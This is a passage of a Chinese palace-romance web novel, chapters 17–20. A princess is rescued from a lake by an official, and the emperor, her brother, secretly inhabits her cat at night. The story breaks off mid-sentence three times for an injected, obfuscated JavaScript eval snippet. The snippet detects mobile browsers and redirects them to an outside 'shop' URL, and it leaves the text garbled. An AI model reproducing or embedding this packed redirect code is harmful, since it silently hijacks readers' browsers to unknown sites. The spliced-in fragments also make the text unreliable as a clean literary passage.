何元初摇摇头,挡住了侍从掏出帕子要替他包扎伤口的手,迎着安玥关切的目光,他似是安抚:“无事,只是小伤罢了。公主不必介怀。” 安玥朝边上吩咐了声,要去传太医,何元初恭敬道:“不必如此麻烦。只是小伤,今日宫宴,莫要为了这些小事坏了公主心情。” 他礼数周全,话里话外更是为他人着想,让人如沐春风。安玥亦知今日之事不宜声张,若是皇兄得知此事借机发难,要处置咪儿,她必然拦不住。 思及此,安玥目光愈发愧疚,“何大人,前面有处亭子,我陪何大人坐着休息片刻吧,顺道替大人处理一下伤口。若桃,将药箱拿来。” “奴婢这就去。” 何元初听罢未再推脱,微微一笑,“有劳公主。” 亭子一面靠着山,遮挡了大半的风,亭内又悬挂锦帘,地面挖有浅坑,放了地炉,并不冷。今日元宵,四周的灯比往日都亮些。 凳上铺有羊皮,是极软和的料子。安玥把咪儿放到清栀怀里。她心系何元初手背上的伤,却见他把手垂在袖中,错开话题:“公主晚膳未用多少,可要微臣差人送些点心来?” 安玥摇摇头:“无妨,我不饿。何大人,可否让我看看你的伤?” 先前站着的那处没灯,伤口太暗,看不大清,安玥心里总觉得没底。 这位到底是丞相府嫡子,若是伤口感染,再抓出个好歹,就算皇兄不动手,丞相府不得把她劈了? 她一点情绪都写在脸上。何元初失声笑道:“公主当真不必忧心,只是一点皮外伤。” “何大人。”安玥加重了语气,掺了有几分胁迫的意味。可神情却不是那么回事。 何元初不禁觉得有些好笑,“微臣遵命。” 他将手伸出,这会借着光亮,安玥看清何元初手背上的伤。 原先伤口的血迹尚未干透,仍有几点鲜红从伤处渗出,瞧着有些可怖。 何元初作势要将手收回,“莫要污了公主眼。” 一只手及时抓住他手腕,止住他动作。 男女力道本就悬殊,安玥这点力道对他而言本轻而易举就能挣开,比起拽更像是捏,但何元初没动。 本朝民风开放,这点动作不算出格。 安玥取了帕子将伤口清理干净,接过若桃递来的药瓶,“何大人,若是觉得疼痛,便告知我。” 何元初手放在石桌上,指尖微微一蜷,他莞尔:“多谢公主。” 晚间起了风,红绸微晃,灯摇影动。将在殿中沾上的闷热之气吹散。月辉落在人身上,袍角的暗纹折出冷光。 曲闻昭站在树下,目光落在不远处的亭子里。明黄的光投在女子的面靥上,她低着头,手里拿着块帕子,似是在帮人包扎伤口,神色专注。 曲闻昭觉得这幅神情在何处见过,却又好似从未见过。 胡禄站在新帝一侧小心提醒,“陛下,这儿风大……”他话至一半,觑见陛下神色,那神情似是覆了层冰霜。 四周皆挂着宫灯,夜风却未沾烛火的温度,掺着暮色,更刺骨了些。 他打了个寒颤。见陛下已移步离开。胡禄一面气喘吁吁跟上,一面用袖子拭着额角渗出的汗。 安玥不知怎的觉着后脊有些发凉。她若有所感地转过头,却只见到花灯和树,往后是黑沉沉的夜。 她收回目光,何元初手背上躺着只蝴蝶结,她左看右看,瞧着有些怪异。 何元初笑道:“微臣可否多问一句,公主从前可有帮别人包扎过?” 安玥面色微窘,“包过的。”她侧过身,点了点咪儿的脑袋,“给它包扎过。” 安玥看了眼天色,忽觉已是不早,她起身,“今日之事,多谢何大人。日后何大人若有需要,我能帮得上的,何大人都可提。” 安玥话虽这般说,却觉得这番话实在没什么诚意。毕竟对方不像是需要她帮什么的样子。 何元初却微微一笑,“多谢公主。” 安玥朝何元初露出抹笑来,起身离开。 何元初站起身,目送那道背影。他身侧的侍儿压低了声音,语调不解:“小人不知,公子明明可以躲开,为何要受这一下?” “青攸,你觉得,公主如何?” “小人不敢妄言,只是此一时彼一时,老爷的意思,如今若要联姻,五公主怕是更合适些。” 他话落,瞥见公子眼神,面色有些泛白,“小人失言。” 何元初目光不知在何处轻轻落了下,笑了笑,未说话。 假山后,一道目光牢牢锁在这头。最后化为一抹阴毒。 思檀见身侧不知何时没了动静,一转头方发现公主已经走远,她小跑着追上:“公主!” 及至亥时,夜空爆开第一朵烟火,旋即无数爆鸣声扎入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640502|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云层,将黑幕点燃。 绚烂的光影倒映在湖中,漆黑的水面浮起一层温度。 安玥仰着头,清亮的目光里映出紫霞流丹,融入莹莹的月色中去。 “汪!汪!”尖锐的叫声搅散了光影,安玥回过神。耳边急急传来一声,“公主小心。” 一只大犬冲破黑暗,朝这边直扑而来。安玥面色微白,慌忙避开。未防脚下石块松动,她未站稳,往身后跌去。 身体坠入水中的瞬间,她听到岸上传来惊呼。湖水剧烈晃动,冰冷的水灌入口鼻。安玥觉得浑身僵冷,血液被冻住般,将她沉沉得往水下压。 她心底颤颤巍巍把那条犬骂了个便,更多的是觉得害怕。 直到一道暖流贴着身体渗入,安玥觉得腰间一紧,她被带离水面。 安玥浑身冷得打颤,却还是借着模糊的眼睛,看清来人。 是何元初。 原本不知何时已围满了人。清栀将她牢牢护在怀里,挡住了数道视线。 “公主,您没事吧?” 安玥饧涩着眼,对何元初摇摇头。 紧接着不远处传来动静,原本围在四周的人流顷刻间退散开。 湖畔再度陷入沉寂。 安玥勉强抬了抬眼,这不抬不要紧,一抬眼便触到一张冷若冰霜的脸,有些沉,比那几近结冰的湖水还要凉几分。 “微臣参见陛下。” 安玥缩了缩脖子,便见皇兄大步朝自己走来。她不知怎的起了装晕的念头,便见皇兄似是朝清栀看了眼。 她便觉得身上力道一松,清栀解开了她狐裘。紧接着一件氅衣掺着一股熟悉清冷之气裹来。 安玥怔了怔,尚未反应过来,清栀将她扶起,朝不远处的轿辇走去。她大半个身子靠在清栀身上,未防脚下石子,被绊了下。好在一只手径直将她拉住,才让她没跌出去。 安玥扭头,见是何元初,道谢:“多谢……何大人。” 何元初待要说话,察觉到一道目光落在自己身上,不冷不热,却透着锐意。他不由得抬起头。 陛下半张脸隐在昏暗里,神情晦暗不明。 何元初缓缓收回扶着安玥手臂的手,温声:“公主不必挂怀。夜里风凉,望公主保重身……” 一道声音冒出打断:“公主,夜里风凉,快些进去吧。” 安玥看了何元初一眼,点点头,步入轿辇。 轿帘掀开,里面还算宽敞,刚好能容下两个人。安玥在曲闻昭身侧坐下。她半个身子贴着辇壁,不自觉笼了笼身上的氅衣。 曲闻昭目光仍落在书册上,未分给她半点。他声色不冷不热,“我竟不知,妹妹与朝中重臣亦有私交。” 安玥脸白了又白,顾不得冷,连忙解释:“不是,只是何大人路过,拉了我一把。断无私交。” 曲闻昭抬起玉指翻页,许久未理她,也不知听清了没有。安玥又惊又怕,等了半晌,悄悄问了句:“皇兄?” 无人理她。 她声音又小了几分:“皇……” 曲闻昭终于抬眸,睨了过来。 18. 第 18 章 安玥缩了下脖子,“安玥是想问,皇兄你渴不渴,要不要喝水?” 曲闻昭眼里似含着笑,却没什么温度,“私交与否,我不在意。妹妹若真是出格,只需到宗人府,届时自有足够的时间反省。” 他看着安玥又红又白的脸,笑着补了句:“不过我相信妹妹,有分寸。” 安玥无缘无故被威胁一通,又不知何处惹了他,气得说不出话,又是惊又是惧,几乎忘了冷。 风扬起轿帘,安玥没忍住打了个喷嚏,缩在角落不说话了。 轿子在镜烛宫稳稳停下。安玥行了礼,头也不回下了轿。 却不想她沐浴后换了衣裳,看见桌上摆着一碗漆黑的药。 她佯装没看见,边上冷不丁冒出声音,“公主,这是陛下适才差人送来的。” 安玥身形微僵,“清栀,你没骗我?” “这样的事,奴婢哪里敢说谎?“她起身去柜中取了两枚蜜饯出来。安玥就要伸手去接,清栀躲开,一个劲朝她递眼色:”陛下也是为您好,公主趁热喝。” 偏生安玥头昏脑涨,半点没会意,“清栀,你眼睛不舒服吗?” 清栀:“……” “公主快趁热喝吧。” 安玥抿了抿唇,抬手抹了下碗沿,药是温的。这样她唯一一个借口也没了。她待要说什么,方察觉屏风后站着道矮胖的人影。 她心里突突直跳,便听那头缓缓飘来一句:“公主药需趁热喝,奴婢还等着回去复命呢。” 安玥面色微白,后知后觉清栀为何朝自己眨眼。她几乎怀疑药里下毒,不自觉看向清栀。 清栀朝她微微颔了颔首。 这是验过的意思了。 安玥拧着眉端起药碗,她吸了口气,一股药辛味袭入鼻中。她连忙屏住呼吸,不敢再犹豫,将药碗端至唇边。酸苦的药汁流入口中的瞬间,一股麻意席卷上来。安玥从未喝过这般难喝的药,险些要吐出来,偏生屏风后还有一双眼睛盯着这边,她要吐不敢吐,硬是把剩下半碗喝完了。 她接过帕子干呕了声,哆哆嗦嗦搜刮走清栀递来的两颗蜜饯,一股脑塞入口中。 蜜饯的甜混杂着药的苦辛气,在口舌中缠斗。安玥捂着唇,竭力不让自己吐出来,最后已经听不清身边的人说了什么。 待缓过气来,胡禄已经离开了。 安玥吩咐了声,让人查查那只狗是从何处冒出来的。旋即一把钻入被中,如同被吸干了精气,一动不动。 安玥迷糊间察觉什么东西轻轻在她指尖蹭了下,安玥用了些力道,把那团东西抱入怀里。 曲闻昭不耐烦抬了抬眼,待要再寻个舒服的姿势,头顶的人似是呢喃了句:“今日若是没有何大人,你主子就要魂归西天了,以后就没人喂你饭了……你还拿爪子抓他。” 安玥话音刚落,感觉怀里的温度骤然窜离。安玥尚未清醒,不经意蹙了蹙眉,伸手去捞,捞了半天却也没把想要的捞回来,手臂又酸又冷,有些气闷地把手缩回。 昏暗里,一双泛着绿光的瞳盯着榻上的人,凉意丝丝缕缕渗透。 翌日天还未亮,胡禄觑着陛下阴沉的脸,语气试探:“陛下可要唤御医配些宁神的汤药过来?” 曲闻昭抬眼,轻飘随意,却渗出几分压不住的戾色。胡禄后颈一凉,当即将头埋进肚子里,闭了嘴。 “陛下,昨夜侍卫去查了,那大犬本是冷宫里一位神志不清的妃嫔养的,不知怎得笼子打开跑了出来。”胡禄从怀里取出一枚钥匙,“这是在冷池里发现的。昨夜岁康公主的侍女曾鬼鬼祟祟往冷池去了一回。” 那里鲜有人经过,昨夜又是元宵,更是无人注意。 他刚送走了莲太妃,本想留岁康一条命,慢慢清算,却险些把她忘了。 “人现在在哪?” “让人看着呢,陛下未发话,奴才们不敢擅自处置。” 曲闻昭对着茶水轻轻呵了口气,茶水不冷不烫,“那犬想来也饿了许多天了,让它咬下那宫女一条手臂,一并给岁康送去。” 胡禄神色平静:“奴婢明白。” 午后出了太阳,日光笼下。御花园的花架下摆了张藤椅,上面铺了羊皮,安玥躺在上面。她身上裹着厚厚的衣裳,袄裙还包着一圈兔毛裙边,一双腿懒洋洋地垂着,露出半截罗袜。 她头偏向一侧,一头乌发软绵绵披在肩上,隐隐露出雪白光滑的脖颈。她转了个身,原本盖在身上的薄毯滑下去一截。这会起了风,许是觉得冷,她往里缩了缩。 曲闻昭走近了,便见到这一幕。他不自觉想把那张兔毛毯子拉回去,指间抬起的同时,他眉心蹙了下。 他脚下微动,就要离开,恰巧椅上的人睁开了眼。 安玥见到来人,先是怔愣了下,那双迷蒙的眼睛越睁越大,旋即藤椅上的人缩了缩脖子,整个人瞧着彻底清醒了。 曲闻昭将她这幅样子尽收眼底,移步离开。 迫人的气息抽离,安玥长长舒了一口气。却见那道背影的脚步似是顿了下,安玥忙不迭捂住嘴,只露出一双眼睛惊疑不定地看着那道背影。 好在皇兄并未理会她,只留下一道颀长的背影,越行越远。 安玥理了理衣裙,就要起身,余光瞥见不远处似是站着道人影。 珊瑚色的宫装,极为显眼。是岁康。 她动作微僵,硬着头皮朝不远处赶去。 曲闻昭走出几步,只听身后一阵环佩铿锵,紧接着偷偷摸摸冒出一声:“见过皇兄。” 他微微侧目,便见安玥勾着唇看着自己,只是那眼神透着心虚。他余光往不远处看了眼,目光落回到安玥身上。 曲闻昭唇角弧度透着些讥讽,似是故意的,并未理她。 那眼神实在冰冷,安玥没忍住打了个寒颤,待见人已走远,她面上笑容僵住,颇有几分窘迫。 不知是否是错觉,以往皇兄也厌恶她,但总会变着法子磋磨她。 可这回皇兄却是懒得理她,倒像是在生气。 她有何处惹着他了?她心底有些讶异,她还有这本事呢。 不远处。 思檀奇怪道:“公主,不是都说,那位有多宠爱她,可奴婢瞧着,怎得像是不熟呢?” 岁康冷冷笑了声:“谁知道呢?” 是啊,人人皆传皇兄如何喜欢安玥,可她从未见过他们相处。是真是假,试探一下不就知道了么? 若是是假……岁康心跳得快了几分,面容跟着扭曲了瞬。 凉亭内。 “公主可是遇着不高兴的事了?” 女子一身云水色的袄裙,肩上覆着件浅云色的披帛,上面绣着云水纹,是极素净的样式,却不简陋,反倒有一种淡冶之美。 “玉茗,什么都躲不过你的眼睛。”岁康眼眶有些泛红,“我也不知那小贱人使了什么下作手段,竟哄得皇兄把母妃送去皇陵。” 她眼神透着委屈,可语气却是毫不掩饰的怨毒。 “岁康?“杨玉茗怔了怔,似是不解:”她为何要这般害你?” “你也知道,我与她素来不合。父皇在时,她就没少仗着大皇兄和父皇的宠爱,对我颐指气使。如今又……” “殿下又怎能确定,此事是她做的?” “玉茗?”岁康气闷道:“你怎的替她说话?” 杨玉茗婉声道:“殿下误会玉茗了,玉茗并非这个意思。玉茗只是觉得奇怪,殿下又是如何能确定,陛下是真的宠爱她?” “她自己说,皇兄独独送了她一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646463|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翠翘,可不就是……” “那便是说,无人能证实此事。若是如此,玉茗倒有一个法子。” 岁康不自觉凑近了些,“说来我听听。” 杨玉茗轻声道:“公主可以借着请安试探一下陛下,同是兄妹,陛下送了十七妹妹,总不好不送五妹妹。公主可以借着讨要的名义,拐弯抹角提及此事,再看陛下反应。” “可若是皇兄不愿意……反倒触怒了皇兄……” 岁康有些没底,她一开始只是以为那位皇兄像原来的大皇兄那般,性子比较清冷。 直到昨夜,皇兄身边的人送来断臂,她知道,皇兄必然是知道了什么,借着这个法子血淋淋地敲打她。 这分明是魔鬼! 杨玉茗似是不解:“陛下不是易怒弑杀之人,若非如此,安玥公主又怎会活到现在?” “你说得对。”岁康犹豫道:“那我试试。” 心中石头落地,岁康拉了拉杨玉茗的手,“玉茗,你真是我的解语花。每次有事,只要同你说,你总能帮我寻到法子。”她语气感激,可眉心却蹙紧了,“那些个世家女,别以为本宫不知道,表面奉承本宫,可一遇到点事,半点用都抵不上。” 杨玉茗摇摇头,宽慰道:“能帮到公主便好。” 宁兴宫。 “陛下,岁康公主求见。” 曲闻昭未抬头,“不见。” 胡禄见陛下这般,便知是没有回纥的余地了。他心底寻好理由,待要出去,身后轻轻飘来一声,“让人进来。” 胡禄虽不知陛下好端端怎得又换了主意,但并未过问,恭恭敬敬应了声“是”,推开殿门出去。 不消片刻,岁康裹着件殷红的兔毛斗篷,从殿外进来。 殿内烧着地炉,扑面而来一股暖意。她悄悄往那头瞥了眼,见皇兄坐在桌案后,边上摆着只博山炉,山峦间有青烟溢出,将那张如玉的面容氲出些温润的意味。 许是这会离得近了,这位二皇兄不似从前那般有距离感。 她大了胆子,行礼,“见过皇兄。” “从前两宫离得远,岁康未能与皇兄亲近。今日岁康特来赔礼道歉。这是岁康差宫里的厨子做的糕点,非是贵重的东西,却是岁康的一片心意,还望皇兄不弃。” 思檀端着食盒站了半晌,一旁的福禄却没有要接过的意思,主仆二人一时有些窘迫。 岁康见此情形,不禁打起退堂鼓,心里尚在犹豫,皇兄却主动问了句:“五皇妹可是有事?” 这声音不冷不热,她紧张地拽了拽衣袖,将先前在路上打好的腹稿就这般说了出来,“前些日子安玥说皇兄送了只翠翘给她,岁康见那翠翘做工精细,实在喜欢得紧,便厚着脸想向皇兄来讨。” 她话落,偷偷瞄了眼曲闻昭面色。等了许久也不见皇兄答复,她手心渗出一层汗来,刚想补句什么,却见皇兄复提笔沾了沾墨,“孤并未送过,五皇妹怕是记错了?” 此言一出,岁康心底半分紧张也没了。她险些笑出声,唇角翘起的一瞬她赶忙掐了下自己的手背,她垂着头,语气不解:“那皇妹怎得扯这样的谎?” 她自认这一句说得极有技巧,掐着时候抬头,却见原本低头练字的人,不知何时抬起了眼,盯着自己,那眼神清泠泠的,瞧着没什么情绪,却好似能穿透人心。 她小腿肚子打颤,被看得有些心虚,加之目的达到,她没了逗留的心思,就要离开。临末想起什么,大着胆子试探了句:“皇兄,岁康有些思念母妃,皇兄可否看在舅舅尚在户部为君分忧的分上,特赦母妃回来。哪怕一辈子食素礼佛,为父兄祈福。” 皇兄总不会无缘无故发难,她险些被安玥忽悠过去,如今想想,倒极有可能是溪儿前些时日冒犯了他。 19. 第 19 章 岁康话落,却未像先前那般得到答复。只听到指节轻扣桌面,一声又一声。她觉得那声音敲打在心尖儿似的,她没了底气,腿也开始发软。 “‘凡为人子之礼,冬温而夏凊,昏定而晨省’,五妹既然如此思念莲太妃,不若前往皇陵陪侍在侧,以全了皇妹孝心,如何?” 岁康面上血色褪净,慌忙跪下,“岁康非是这个意思。” 曲闻昭重新提起笔,胡禄见陛下没了深究的意思,面无表情道:“公主,陛下尚在忙,您先回去吧。” 她听了这一声,先是一怔,一张脸青白交错起来,她语气多了些恼意:“岁康告退。” 待人走远,胡禄提起先前思檀落在地上那盒糕点,“陛下,这糕点如何处置?” 曲闻昭睨了胡禄一眼,胡禄在那眼神里品出几分嫌恶和不耐,他忙不迭道:“奴婢明白。” 曲闻昭冷着脸,纸上的字练废了数张。 胡禄在一旁站着,不知好端端陛下怎得又不悦了,埋头立在角落,屏住气息。 安玥第二日便觉眼皮子跳得厉害,她总觉得不安,果真一出门,便见躲了她数日的岁康迎面朝这边走来。 神气活现,面上是掩不住的讥讽。 安玥隐隐猜到什么,有些厌烦,就要避开。岁康却一下子到了跟前。 “撒谎精,见着我就跑,怎么,心虚?”她语气是难以掩饰的讥讽,尾音上扬,也不知是憋了多久,才这般迫不及待。 安玥微微叹息,“皇姐前几日还一把鼻涕一把泪求着皇妹救莲太妃,今日变脸未免太快了些。” 岁康被踩中痛点,就要发作,见四周已有不少宫女太监注意到这头,她笑了声,拔高了声音,“皇妹前些日子说皇兄送了你一只翠翘,皇姐今日一问皇兄,方知根本没有此事。皇妹从哪学得这一身撒谎的本事?” 此言一出,四周不乏有听说事情经过的,都有些惊愕。接连几件事下来,众人心里本已确信,陛下宠爱公主一事,如今一件事被戳破,旁的几件事也跟着倒塌,甚至浮出些不同寻常的端倪。 四周议论声也大了起来。清栀跟在安玥身后,眉心微蹙,就要出声。安玥将她拦住,她不予纠缠,一转身,却见一人朝这边走来。 他出声打破僵局。 “望公主甚言。无论翠翘是否是陛下所赠,安玥公主都是我大晟的十七公主,是先帝最喜爱的公主。先帝生前曾立下遗嘱,要陛下照拂宫中姊妹,尤其是安玥公主,此事是板上钉钉之事。” 岁康看清来人是何元初,面上血色褪了些,她瞪大眼睛,眼中似有泪意,却忍着没落,“你也帮她说话?!” 何元初道:“微臣只是就事论事,若是惹公主不快,还望公主惩罚。” 蔻丹陷入皮肉,可岁康却浑然无觉般,她死死盯着何元初,一连说了数个“好!”最后强忍着怨毒瞪了一旁面无表情的安玥一眼,拂袖离开。 安玥站在何元初身后,见没了动静,悄悄探出些头,正碰上身前的人转过身,二人目光对上,安玥怔了怔,后知后觉退后两步,一双眼睛却睁得大大的,“多谢何大人。上回之事,尚未来得及向何大人致谢。” “微臣分内之事,公主不必挂怀。” “若是有机会,我邀大人……喝茶?”她自知底气不足,咬了咬下唇,“或者何大人有什么想要的?” 何元初微微一笑,“上回之事,本是微臣冒犯公主。公主未曾怪罪,微臣已是……” “不不不。”安玥忙将他打断:“我感激你还来不及,没给你添麻烦吧?” “麻烦?”何元初似是不解:“公主是指……?” 安玥松了口气,“没有便好。我承你的情,欠你一份恩,过意不去,你来日若有需要,随时都能来找我。” 何元初温声:“多谢公主。” 安玥自知不适合在这里交谈太久,行了个礼便转身离开。 青攸看着公主离去背影,神色不解,压低了声:“公子为何不借此机会,单独约公主出去?” “她眼下显然对我无意,操之过急只会适得其反。” “是青攸愚拙了。” 这宫里太监宫女随处可见,流言若不经遏制,便会疯长。安玥回去的路上,便感觉有数道目光悄悄朝这边看来,时而闪躲。 安玥用脚趾猜一下也知道,这帮人要么在想,她为了强撑着势,不惜吹牛扯谎,要么在议论,皇兄眼下对自己是何态度。 她撇了撇嘴角,提裙一下跨过门槛,朝宫内走去。殿门推开,她向屋内张望了眼,便见咪儿躺在桌下打着呼噜。 晚间清栀担心她心情不好,拉着若桃在门外说了一堆,又说若桃点子多,让她想点法子哄哄她。 却未想到她也不是聋的,一来一回全被她听进去了。安玥把门推开一条缝,探出半只脑袋,扮了个鬼脸“嘿!”了声。 “啊!” 若桃蹿跳开来。清栀亦是抖了下。 安玥抱着门笑得前仰后合。 房门推开的瞬间,烛光打在那二人面上,将二人面上的惊愕照得分毫毕现,两个窃窃私语的小老鼠就这么被抓了个现行。 若桃反应过来,声音又气又委屈,“公主!” 安玥推搡着赶人:“少在这站着,赶紧回去。” 清栀被推着,边走边回头:“公主,您若是有事便唤奴婢们。” 安玥没忍住揉了揉耳朵,“知道了,知道了。” 曲闻昭一过来,便撞见这一幕。他原本趴在桌柱脚边尚有些迷糊,见安玥鬼鬼祟祟站在门后,未来得及反应,被那一声闹醒。 这会彻底清醒了。 他刚起身,面前阴影投下,双脚离地,一只手提着他的后颈将他提起。 曲闻昭被吵醒,忍着不悦,一双眼睛盯着她。 安玥在那眼神里诡异地品出几分幽怨的意味,她把咪儿抱进怀里,“吵着你了吗?” 曲闻昭本以为她又要躲起来哭,没成想她还有心思管旁人。他觉得灯烛的有些亮,脑袋有些不满地往安玥怀里埋了埋,嗅到一股甜香。 安玥一只手一下一下替他顺着毛,“岁康今日同我说,他去找皇兄,问翠翘的事。你说皇兄是怎么回她的?” 曲闻昭料到接下来没什么好话,耳朵微微竖起。 “我猜皇兄先是不悦,旋即面上却摆出一副关切不解的样子,装模作样问岁康‘何出此言’。” 安玥感觉咪儿的尾巴有一搭没一搭晃着,时不时还会蹭过下巴,她打了个喷嚏:“这帮人眼下必然在悄悄嘲笑我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651195|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这世上怎会有这么坏的人?” 曲闻昭不以为意。 “何大人就很好,一点也不像皇兄。他今日还替我解围来着。先前落水也是他……诶?” 安玥话还未说完,怀里一空,咪儿已跳下地去。不知是否是咪儿被念叨得烦了,她尚未来得及反应,咪儿已从那条门缝挤出,一溜烟没影儿了。 安玥怒了:“你脚还没好,跑哪儿去?!” 她气喘吁吁追出屋去,往四周环看了圈,终于借着模糊的光亮,在石阶下看到咪儿。他坐在台阶上,一双眼睛幽幽的泛着光。 安玥将他抱起,不顾他挣扎,往屋内走去。 “这几日太冷了,我明日带你出去。等天气再暖和些,咱们可以在院子里纳凉。” 曲闻昭挣扎的幅度小了些,只睁着一双眼看她。安玥看着那眼神,不自觉摸了摸他脑袋。她把咪儿放在榻上,为了防止他跑,眼疾手快伸出一只手轻轻摁住他后颈。 曲闻昭失语一阵,索性趴回床上。 却不想安玥娴熟地碰了碰他的腿,他身形僵了瞬,头顶的人问:“腿是不是又伤着了?” 安玥话落,察觉原本趴在床上的咪儿抬起头看她,那眼神有些复杂。 安玥觉得咪儿这几日到了夜里便有些奇怪,睡醒了不会主动亲近她,甚至给她一种疏离感,有时候还喜欢霸占着一整铺床。有时候还会莫名其妙挣脱她。 安玥自言自语:“算了,虽然你有些怪怪的,但我还是喜欢你。” 曲闻昭搭在床上的脚微不可察一颤,一只沾了药的手在他腿上不轻不重揉了起来。凉意渗入腿中,不知为何,他却觉得伤处愈发刺痛。 他觉得这一次的伤,比从前受过的任何一次都要痛。 他的腿不会断了吧? 他低下头,却见原本毛绒的腿上被人用藕色的帕子扎了个蝴蝶结。 瞧着极为傻气。 好丑。曲闻昭伸出爪子拨了下那只蝴蝶。 安玥看着自己的杰作,极为满意,“好看吧?” 她话落,咪儿分出个眼神睨她,她在那眼神里品出几分不满意的味道。 安玥抬手在他臀上拍了下,“不喜欢?不喜欢还敢乱跑?你回头再摔断了,仔细我给你四只脚都系一个。” 曲闻昭趴在臂间看着那只蝴蝶结,却觉得心底被一股奇异的感受填满。 像是被一团棉花堵着,绵软,堵久了还有些热。他用爪子拨了拨,却被棉絮勾住,旋即血液和骨节也跟着被棉絮缠连。却不难受。 曲闻昭微微仰头,见安玥盯着自己。他心中升起一股不祥的预感,缓缓支起身子,便见安玥眼睛发亮,一脸好奇:“咪儿,你是公猫还是母猫呀?” 安玥话落,察觉咪儿顿生警惕,就要跳下榻去,安玥早有预感,一手拎着咪儿的后颈,另一只手轻轻托着他身体。 他被提起的瞬间,略带狼狈地夹紧双腿,却还是晚了一步。 曲闻昭便听身下轰然一声:“原来你是公猫耶?”他只觉浑身血液被煮开了般,咕噜噜冒着热气。 他要杀了她!这世间怎会有如此不知羞耻之人! 安玥抱着他,唇角勾着:“你若是无聊,我给你找个伴怎么样?等过两年,你们生了小……” 20. 第 20 章 “喵呜——” 安玥话未说完,原本乖巧的狸奴又挣扎起来。她几乎怀疑咪儿听懂了,“你不愿意?” “喵——” 这一声十成十的凶狠。 是了,他险些忘记这件事。他白日并不在这具身体上,若是哪天夜里他到了这具猫身上,却发现周围多出一群哇哇乱叫的小猫…… 曲闻昭只觉一股恶寒从骨头里溢出,一双眼睛瞪圆了,直直盯着她,生怕她再做出什么事来。 曲闻昭自认为自己的声音和眼神或多或少起了威慑意味,却不知安玥只觉得他这模样可爱极了。她摸了摸咪儿的脑袋,“那好吧,暂且先不找了。” 这是什么语气?!失落? 有时候他真想把她的脑袋撬开,给一只畜……给一只狸奴配偶,她究竟是怎么想的?! 是日子过得太闲了?果然还是蠢。 曲闻昭嫌弃地往后面蹭了蹭,被安玥一把捞进怀里。 “好困。”安玥打了个哈欠,抱着他往被窝里钻。 自安玥那夜提及要为咪儿找个伴儿解闷,被咪儿极力拒绝后,她便暂时歇了心思。却不想咪儿腿一好,自己闷坏了,大清早便不见了影子。 眼见着到了傍晚,咪儿还没回来。安玥只得让人提着灯笼出去寻,一行人寻遍了咪儿最常去的地方,也未见着影子。 “公主,不知又去哪儿浪了,您别管了,它一会肚子饿了,自己就回来了。” 安玥担心岁康怀恨在心,再对咪儿下手,“算了,我再去寻,就当消食了。” “还有哪儿没找过吗?” 清栀道:“应差西北角那几处。” 娴淑宫。 黑暗的殿中只剩一盆炉火烧得正旺。白玉般的手指将折好的金元宝一只只放进燎炉中。男子褪下朝服,玄色的长袍委地,袍边缂着银丝。 殿内未点灯,牖页开了条缝,偶尔透进几缕寒风,沾着月霜,扬起盆中的纸灰。 火光烧出一圈光晕,燎得刺眼。树影黑压压地投落在晕圈上。 或许是祺太后去世太多年了,连样子都快要模糊不清。曲闻昭报了仇,却依旧觉得无趣,心里原本留给恨意的那一块突然空了,只剩下虚无的黑暗。 角门推开,一阵寒风迎面扑来,安玥搓了搓手臂,边上的人就要开口,安玥心里打了个突,未给她出声的机会:“我不冷!” 西北这头靠近冷宫,多是些空置的宫殿,平日里没什么人。她绕了好几处,终于听见几声喵叫,层层叠叠,还不止一只。似是从墙角处传出。 夜风里还杂着一股怪异的味道,有些闷热。 安玥未来得及深究,见边上若桃就要过去,她伸手把人拉住,做了个嘘声的动作。 若桃会意,悄悄跟在她身后,主仆三人摸到檐下的柱子后,探出半个脑袋往墙角探去。 只见枯藤缠绕的墙下,站着两只狸奴,一只雪白,另一只却是安玥没见过的,似是三花。 安玥心下了然,难怪那日她说起要给咪儿找个伴,咪儿那么抗拒。原来是心里有人…有猫了。 安玥倒吸一口凉气,“什么来头?” 若桃摇摇头:“没见过呀。” 咪儿浑然未察觉自己已经被人“盯上”了,仍一个劲往那只三花身上蹭。 却不想那三花似是被什么脏东西蹭上了,眼见着咪儿死缠烂打,扬起爪子就要往咪儿身上招呼。 安玥吓了一跳,忙不迭要去救,好在咪儿反应及时,勉强避开了。 安玥不知怎的觉得有些丢脸,想把咪儿捞回来,刚从柱子后绕出去,方看到另一侧的檐下站着两名身材高大的侍卫,正盯着自己。 她尚未反应,一旁的窗呼得亮起,旋即“吱呀”一声,原本紧闭的房门被人推开,烛光打在安玥面上,双目难以适应光亮,她抬手遮了遮,烟熏火燎的气息满而来。安玥心底升起一阵不祥的预感。 